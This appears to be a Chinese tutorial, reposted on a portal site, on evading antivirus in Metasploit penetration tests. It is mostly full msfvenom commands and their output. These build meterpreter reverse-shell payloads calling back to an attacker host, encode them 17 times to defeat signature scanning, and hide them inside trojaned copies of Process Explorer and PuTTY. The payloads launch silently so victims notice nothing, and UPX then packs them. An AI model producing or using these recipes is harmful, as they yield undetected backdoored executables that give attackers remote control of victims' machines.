在进行渗透测试时,最尴尬的事莫过于被杀毒软件给检测出来,这也是一个很容易被忽视的细节。如果没有事先做好计划进行免杀处理,那么很可能会被目标发现被攻击的蛛丝马迹。本文介绍一些可以实现免杀技术的方法。
1、多重编码
多重编码就是对可执行文件进行多次编码。大多数杀毒软件使用特征码来识别恶意代码。这些特征码装载在杀毒引擎中,用来对磁盘和进程进行扫描,并寻找匹配对象。发现匹配对象后,杀毒软件会有相应的处理流程,大多数会将感染病毒的二进制文件隔离,或杀掉正在运行的进程。通过多重编码对二进制文件内部机制进行修改,可以绕过杀毒软件的特征码检查。shikata_ga_nai编码是多态的,也就是说,每次生成的攻击载荷文件都不一样。所以生成的攻击载荷文件有时候会被查杀,而有时候却不会被查杀。
通过使用msfvenom命令的-i选项即可实现多重编码。下面对攻击载荷进行多次编码。执行命令如下:
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b 'x00' LHOST=192.168.1.108 LPORT=443 -f raw | msfvenom -a
x86 --platform win -e x86/alpha_upper -i 2 -f raw | msfvenom -a x86 --platform
win -e x86/shikata_ga_nai -i 5 -f raw | msfvenom -a x86 --platform win -e
x86/countdown -i 5 -f exe -o /root/payload.exe
Attempting to read payload from STDIN...
Attempting to read payload from STDIN...
Attempting to read payload from STDIN...
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata_ga_nai succeeded with size 387 (iteration=1)
x86/shikata_ga_nai succeeded with size 414 (iteration=2)
x86/shikata_ga_nai succeeded with size 441 (iteration=3)
x86/shikata_ga_nai succeeded with size 468 (iteration=4)
86/shikata_ga_nai chosen with final size 468
Payload size: 468 bytes
Found 1 compatible encoders
Attempting to encode payload with 2 iterations of x86/alpha_upper
x86/alpha_upper succeeded with size 1003 (iteration=0)
x86/alpha_upper succeeded with size 2075 (iteration=1)
x86/alpha_upper chosen with final size 2075
Payload size: 2075 bytes
Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 2104 (iteration=0)
x86/shikata_ga_nai succeeded with size 2133 (iteration=1)
x86/shikata_ga_nai succeeded with size 2162 (iteration=2)
x86/shikata_ga_nai succeeded with size 2191 (iteration=3)
x86/shikata_ga_nai succeeded with size 2220 (iteration=4)
x86/shikata_ga_nai chosen with final size 2220
Payload size: 2220 bytes
Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/countdown
x86/countdown succeeded with size 2238 (iteration=0)
x86/countdown succeeded with size 2256 (iteration=1)
x86/countdown succeeded with size 2274 (iteration=2)
x86/countdown succeeded with size 2292 (iteration=3)
x86/countdown succeeded with size 2310 (iteration=4)
x86/countdown chosen with final size 2310
Payload size: 2310 bytes
Saved as: /root/payload.exe
以上输出信息显示了对攻击载荷进行编码的过程。这里先使用了5次shikata_ga_nai编码,然后将编码后的原始数据再进行2次alpha_upper编码,接着再进行5次shikata_ga_nai编码,最后再进行5次countdown编码。从显示的信息中可以看到,为了进行免杀处理,这里对攻击载荷一共进行了17次编码。此时,用户将该攻击载荷发送到目标主机,将发现该攻击载荷不会被杀毒软件检测到。为了验证是否成功实现免杀,用户可以使用自己的杀毒软件对该文件实施扫描。如果该文件成功实现免杀,将不会被探测到。
从显示的信息中可以看到,没有发现任何恶意程序。由此说明成功实现了免杀处理。接下来,用户在攻击主机创建监听时,等待该攻击载荷建立连接会话连接即可。在后面的操作中,用户可以使用同样的方法来验证是否已实现免杀处理。
2、自定义可执行文件模板
通常情况下,运行msfvenom命令时,攻击载荷被嵌入式到默认的可执行文件模板中。Kali Linux系统的默认模板文件位于data/msfpayload/template.exe下。虽然这个模板文件有时会更新,但它永远是杀毒软件厂商在创建病毒库时的终端关注对象。恰好,msfvenom命令支持使用-x选项使用任意的Windows可执行程序来代替默认模板文件。下面介绍使用自定义可执行文件模板来实现免杀技术的方法。
通过自定义可执行文件模板来实现免杀技术。具体操作步骤如下:
1)本例中选择将微软Sysinternals套件中的Process Explorer程序作为自定义的可执行程序模板,来创建攻击载荷。首先下载可执行的模板程序文件,执行命令如下:
root@kali:~# wget https://live.sysinternals.com/Files/ProcessExplorer.zip
--2019-05-07 14:34:25-- https://live.sysinternals.com/Files/Process
Explorer.zip
正在解析主机 live.sysinternals.com (live.sysinternals.com)... 191.236.128.229
正在连接 live.sysinternals.com (live.sysinternals.com)|191.236.128.229|:
443... 已连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度:1270466 (1.2M) [application/x-zip-compressed]
正在保存至: “ProcessExplorer.zip”
ProcessExplorer.zip 100%[===================>] 1.21M 35.4KB/s in 23s
2019-05-07 14:34:50 (54.4 KB/s) - 已保存 “ProcessExplorer.zip”
[1270466/1270466])
从输出的信息中可以看到,已成功下载并保存了ProcessExplorer.zip文件。
2)解压可执行程序文件。执行命令如下:
root@kali:~# mkdir work
root@kali:~# unzip ProcessExplorer.zip -d work/
Archive: ProcessExplorer.zip
inflating: work/procexp.exe
inflating: work/procexp.chm
inflating: work/Eula.txt
从以上输出的信息中可以看到解压出了一个可执行文件procexp.exe。
3)指定下载的Process Explorer二进制文件作为自定义模板。执行命令如下:
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp -x work/procexp.exe -e x86/shikata_ga_nai -i 5 -b 'x00' LHOST=192.168.1.108 LPORT=443 -o /root/backdoor.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata_ga_nai succeeded with size 387 (iteration=1)
x86/shikata_ga_nai succeeded with size 414 (iteration=2)
x86/shikata_ga_nai succeeded with size 441 (iteration=3)
x86/shikata_ga_nai succeeded with size 468 (iteration=4)
x86/shikata_ga_nai chosen with final size 468
Payload size: 468 bytes
Saved as: /root/backdoor.exe
从以上输出信息中可以看到,已成功创建了攻击载荷backdoor.exe。
3、隐秘启动一个攻击载荷
在大多数情况下,当被攻击的用户运行类似前面生成的这种包含后门的可执行文件时,如果什么都没有发生,可能会引起用户的怀疑。为了避免被目标察觉,渗透测试者可以在启动攻击载荷的同时,让宿主程序也正常运行起来。下面介绍隐秘地启动一个攻击载荷的方法。
隐秘地启动攻击载荷。具体操作步骤如下:
1)本例中选择Windows环境下的SSH客户端PuTTY程序,使攻击载荷隐秘地启动。首先下载PuTTY程序,执行命令如下:
root@kali:~# wget http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
--2019-05-07 15:14:34-- http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
正在解析主机 the.earth.li (the.earth.li)... 46.43.34.31, 2001:41c8:10:b1f:c0ff:ee:15:900d
正在连接 the.earth.li (the.earth.li)|46.43.34.31|:80... 已连接。
已发出 HTTP 请求,正在等待回应... 302 Found
位置:http://the.earth.li/~sgtatham/putty/0.67/x86/putty.exe [跟随至新的 URL]
--2019-05-07 15:14:35-- http://the.earth.li/~sgtatham/putty/0.67/x86/putty.exe
再次使用存在的到 the.earth.li:80 的连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度:531368 (519K) [application/x-msdos-program]
正在保存至: “putty.exe”
putty.exe 100%[==================>] 518.91K 122KB/s in 4.2s
2019-05-07 15:14:39 (122 KB/s) - 已保存 “putty.exe” [531368/531368])
从输出的信息中看到,已成功下载了PuTTY程序,并且保存该程序的可执行文件为putty.exe。
2)使用msfvenom的-k选项来处理PuTTY程序。该选项会配置攻击载荷在一个独立的线程中启动,这样宿主程序在执行时将不会受影响。执行命令如下:
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp -x /root/
putty.exe -e x86/shikata_ga_nai -i 5 -b 'x00' LHOST=192.168.1.108 LPORT=443 -k -o /root/putty_backdoor.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata_ga_nai succeeded with size 387 (iteration=1)
x86/shikata_ga_nai succeeded with size 414 (iteration=2)
x86/shikata_ga_nai succeeded with size 441 (iteration=3)
x86/shikata_ga_nai succeeded with size 468 (iteration=4)
x86/shikata_ga_nai chosen with final size 468
Payload size: 468 bytes
Saved as: /root/putty_backdoor.exe
从输出信息看到,成功创建了一个putty_backdoor.exe攻击载荷。这样,当用户运行该攻击载荷时,将会启动PuTTY程序。
-k选项不一定能用在所有的可执行程序上,在实际攻击前请确保已经在实验环境中进行了测试。
如果想要将攻击载荷嵌入到可执行文件中,而且没有使用-k选项,那么最好使用图形界面的应用程序。因为如果使用了一个命令行应用程序,当攻击载荷启动后,它会在目标主机桌面上显示一个命令行窗口,这个窗口直到攻击载荷使用完毕才会消失。而如果使用图形界面应用程序,即使没有使用-k参数,攻击载荷启动后也不会留下任何其他窗口。请注意这些小细节,将有助于使渗透者保持隐秘的状态。
4、加壳软件
加壳软件是一类能够对可执行文件进行加密压缩并将解压代码嵌入其中的工具。当加过壳的文件被执行后,解压代码会从已压缩的数据中重建原始程序并运行。这些程序对用户是透明的,所以加壳后的程序可以代替原始程序使用。加壳后,可执行文件更小,而功能与原来的文件一样。
同MSF编码器一样,加壳软件也可以改变可执行文件的结构。然后,MSF编码器通常会增加可执行文件的大小,而精心挑选的加壳软件会使用不同的算法,一方面对可执行文件进行加密;另一方面还能对其体积进行压缩。下面使用在Kali中最受欢迎的UPX加壳软件对创建的攻击载荷文件payload.exe进行编码和压缩,以尝试对该文件进行免杀处理。
使用UPX工具对可执行文件payload.exe文件进行压缩并加壳。在Kali Linux中,默认已经安装了该工具。如果没有安装的话,执行如下命令安装:
root@kali:~# apt-get install upx
在使用该工具之前,可以首先查看下它的可用选项,以便在后面使用。具体如下:
root@kali:~# upx
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2018
UPX 3.95 Markus Oberhumer, Laszlo Molnar & John Reiser Sep 30th 2018
Usage: upx [-123456789dlthVL] [-qvfk] [-o file] file..
Commands:
-1 compress faster -9 compress better
-d decompress -l list compressed file
-t test compressed file -V display version number
-h give more help -L display software license
Options:
-q be quiet -v be verbose
-oFILE write output to 'FILE'
-f force compression of suspicious files
-k keep backup files
file.. executables to (de)compress
Type 'upx --help' for more detailed help.
UPX comes with ABSOLUTELY NO WARRANTY; for details visit http://upx.sf.net
在以上信息中,显示了UPX工具的语法及可用的选项和含义。例如,这里使用-5选项对可执行文件进行压缩并加壳。执行命令如下:
root@kali:~# upx -5 payload.exe -q
File size Ratio Format Name
----------- ------ ------- --------
73802 -> 48128 65.21% win32/pe payload.exe
Packed 1 file.
从以上显示的信息中可用看到,UPX将可执行文件的体积压缩了65.21%。
本文来源于:Metasploit渗透测试:免杀技术-变化吧门户
特别声明:以上文章内容仅代表作者本人观点,不代表变化吧门户观点或立场。如有关于作品内容、版权或其它问题请于作品发表后的30日内与变化吧联系。
- 赞助本站
- 微信扫一扫
-
- 加入Q群
- QQ扫一扫
-
评论